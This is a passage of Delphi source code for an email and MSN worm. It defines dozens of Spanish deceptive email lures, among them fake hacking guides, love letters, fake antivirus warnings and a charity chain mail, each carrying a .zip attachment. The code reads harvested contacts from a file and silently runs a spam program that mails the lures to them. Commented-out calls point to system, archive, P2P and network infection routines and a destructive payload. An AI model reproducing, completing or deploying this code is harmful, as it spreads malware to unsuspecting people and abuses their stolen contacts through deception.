Subject[13]:=\'Ser Hacker\';
Body [13]:=\'Te interesa ser hacker?, aca te va un texto educativo\';
From :=Quien;
Recip [13]:=Aquien;
Attach [13]:=ruta+\'\\guia_de_hacking.zip\';
Subject[14]:=\'La verdad sobre las cirugias plasticas\';
Body [14]:=\'Leed estas historias reales a mi me impactaron\';
From :=Quien;
Recip [14]:=Aquien;
Attach [14]:=ruta+\'\\historias.zip\';
Subject[15]:=\'Michael Jackson\';
Body [15]:=\'La corte de los EEUU esta poseida por el dinero de Michael\';
From :=Quien;
Recip [15]:=Aquien;
Attach [15]:=ruta+\'\\Falsa_corte.zip\';
Subject[16]:=\'crackear juegos\';
Body [16]:=\'instala este parche en la carpeta del juego que deseas crackear y hara el trabajo casi automaticamente\';
From :=Quien;
Recip [16]:=Aquien;
Attach [16]:=ruta+\'\\Crack_universal.zip\';
Subject[17]:=\'Nuevo virus Reportado (Win32.Akniram.Ch@TA)\';
Body [17]:=\'Analiza tu disco con nuestra proteccion antiviral contra este destructivo virus\';
From :=Quien;
Recip [17]:=Aquien;
Attach [17]:=ruta+\'\\Anti_Win32.Akniram.Ch@TA.zip\';
Subject[18]:=\'Como Amar y no morir en el intento\';
Body [18]:=\'aca van mis experiencias para que saques tus propias conclusiones\';
From :=Quien;
Recip [18]:=Aquien;
Attach [18]:=ruta+\'\\Experiencias.zip\';
Subject[19]:=\'Hola, se que esperabas un mail mio\';
Body [19]:=\'He decidido escribirte con el afan de saber que es de tu vida y si aun me recuerdas, (adjunte una carta)\';
From :=Quien;
Recip [19]:=Aquien;
Attach [19]:=ruta+\'\\Carta_Amor.zip\';
Subject[20]:=\'Fuiste el amor de mi vida\';
Body [20]:=\'Eres y seras mi amor por siempre\';
From :=Quien;
Recip [20]:=Aquien;
Attach [20]:=ruta+\'\\Eres_mi_Amor.zip\';
Subject[21]:=\'Akniram\';
Body [21]:=\'Esto se que es de tu interes\';
From :=Quien;
Recip [21]:=Aquien;
Attach [21]:=ruta+\'\\para_ti.zip\';
Subject[22]:=\'Biblia del Hacker\';
Body [22]:=\'Las reglas y tecnicas usadas por el hacker del siglo XXI\';
From :=Quien;
Recip [22]:=Aquien;
Attach [22]:=ruta+\'\\Libro_Hacking.zip\';
Subject[23]:=\'Soy Atractivo(a)\';
Body [23]:=\'Responde a estas preguntas y lo sabras\';
From :=Quien;
Recip [23]:=Aquien;
Attach [23]:=ruta+\'\\Atraccion.zip\';
Subject[24]:=\'No creas todo lo que lees\';
Body [24]:=\'mira esto y veras a lo que me refiero\';
From :=Quien;
Recip [24]:=Aquien;
Attach [24]:=ruta+\'\\No_creer.zip\';
Subject[25]:=\'Juan Pablo II\';
Body [25]:=\'Lee lo que no publico el Baticano\';
From :=Quien;
Recip [25]:=Aquien;
Attach [25]:=ruta+\'\\Karol_no_publicado.zip\';
Subject[26]:=\'la verdad sobre la iglesia catolica\';
Body [26]:=\'Esto es lo que nadie dice de la iglesia en estos tiempos\';
From :=Quien;
Recip [26]:=Aquien;
Attach [26]:=ruta+\'\\Iglesia_Catolica.zip\';
Subject[27]:=\'Reenvia este mail a tus amigos\';
Body [27]:=\'Esta es otra buena causa porfavor reenvia este mail a tus amigos para que puedas ayudar a Joselito de Mexico a
curarse de su enfermedad\';
From :=Quien;
Recip [27]:=Aquien;
Attach [27]:=ruta+\'\\Joselito.zip\';
Subject[28]:=\'Como mantener tu pc\';
Body [28]:=\'Guia completa para saber la mejor manera de tener tu pc actualizado y bien configurado\';
From :=Quien;
Recip [28]:=Aquien;
Attach [28]:=ruta+\'\\configuracion_y_mantencion.zip\';
Subject[29]:=\'Nuevo intento de que leas esto\';
Body [29]:=\'Te vuelvo a enviar el material que me solicitaste\';
From :=Quien;
Recip [29]:=Aquien;
Attach [29]:=ruta+\'\\material.zip\';
Subject[30]:=\'La despedida\';
Body [30]:=\'Te envio la foto de la despedida jajajaj mirala...\';
From :=Quien;
Recip [30]:=Aquien;
Attach [30]:=ruta+\'\\despedida.zip\';
Subject[31]:=\'Super Taldo\';
Body [31]:=\'Conoce a este personaje local\';
From :=Quien;
Recip [31]:=Aquien;
Attach [31]:=ruta+\'\\Super_Taldo.zip\';
Subject[32]:=\'Gedzac Labs\';
Body [32]:=\'Conoce este grupo en www.gedzac.com\';
From :=Quien;
Recip [32]:=Aquien;
Attach [32]:=ruta+\'\\Gedzac.zip\';
Subject[33]:=\'Saca ese virus de tu pc by Gedzac Labs\';
Body [33]:=\'Guia para sacar virus del pc by www.gedzac.com\';
From :=Quien;
Recip [33]:=Aquien;
Attach [33]:=ruta+\'\\super_guia_antivirus.zip\';
Subject[34]:=\'Aburrido de pagar por internet\';
Body [34]:=\'Hackear servidores ISP para navegar Gratis\';
From :=Quien;
Recip [34]:=Aquien;
Attach [34]:=ruta+\'\\Hack_Isp.zip\';
Subject[35]:=\'Bajar musica\';
Body [35]:=\'Baja toda tu musica de internet gratis\';
From :=Quien;
Recip [35]:=Aquien;
Attach [35]:=ruta+\'\\Kmeshtopia.zip\';
Subject[36]:=\'PassWord de Msn\';
Body [36]:=\'Guia completa para hacker el msn de la persona que quieras\';
From :=Quien;
Recip [36]:=Aquien;
Attach [36]:=ruta+\'\\Hack_Msn.zip\';
//**** Envio mail con contactos de msn **
//*******OJO CON ESTO NO OLVIDAR CAMBIAR ***********************
randomize;
cantidad:=0;
AssignFile(f,(\'c:\\win.txt\'));
Reset(f);
While not eof(f) do
begin
ran:=random(36);
Readln(f, valor);
if cantidad = 0 then
begin
from:=valor;
cantidad:=1;
end
else
begin
aquien:=valor;
if xp then
begin
accion :=\'Cmd.exe /c c:\\spam.exe \'+ \'\"\'+ Subject[ran]+ \'\"\'+\' \"\'+ Body[ran]+ \'\" \'+\'\"\'+ from+ \'\" \'+\'\"\'+ aquien+ \'\"
\'+\'\"\'+Attach [ran]+\'\"\';
end
else
begin
accion :=\'Command.com /c c:\\spam.exe \'+ \'\"\'+ Subject[ran]+ \'\"\'+\' \"\'+ Body[ran]+ \'\" \'+\'\"\'+ from+ \'\" \'+\'\"\'+
aquien+ \'\" \'+\'\"\'+Attach [ran]+\'\"\';
end;
end;
end;
CloseFile(f);
WinExec(pchar(accion),SW_HIDE);
//**** Fin envio mail con msn ***********
// if GetOSVersion=1 then //98
// begin
// NombreCorto:=ExtractShortPathName(ficheros.Strings[i]);
// Accion:=e(\'hdffjeo%hdf+$h+jybi+&y+\',11)+ nombrecorto;
// end
// else //sino xp
// begin
// NombreCorto:=ExtractShortPathName(ficheros.Strings[i]);
// Accion:=/e(\'Hfo%nsn+$h+jybi+&y+\',10)+ nombrecorto;
// end;
// Try
// WinExec(Pchar(accion),SW_HIDE);
// Except
// end;
end;
begin
pathWindows:=WindowsDirectory;
if FileExists(\'c:\\ntldr\') then
begin
xp:=true
end
else
begin
xp:=false
end;
crearzip;
//InfectRarZip;
//CreateThread(nil,0,@infectarsistema_,nil,0,ThreadId);
//CreateThread(nil,0,@MatarVarios_,nil,0,ThreadId);
//CreateThread(nil,0,@grabaregistro_,nil,0,ThreadId);
//CreateThread(nil,0,@infectp2p_,nil,0,ThreadId);
//CreateThread(nil,0,@InfectarEntornoRed_,nil,0,ThreadId);
//sacaSpam; //saca el exe que enviara los mails esta listo solo falta sacarle el comentario
//envioDeMsn; // esta listo ya saca los contactos del msn, el primer contacto es el que envia....
//muerte;
//Sleep($ffffffff);
end.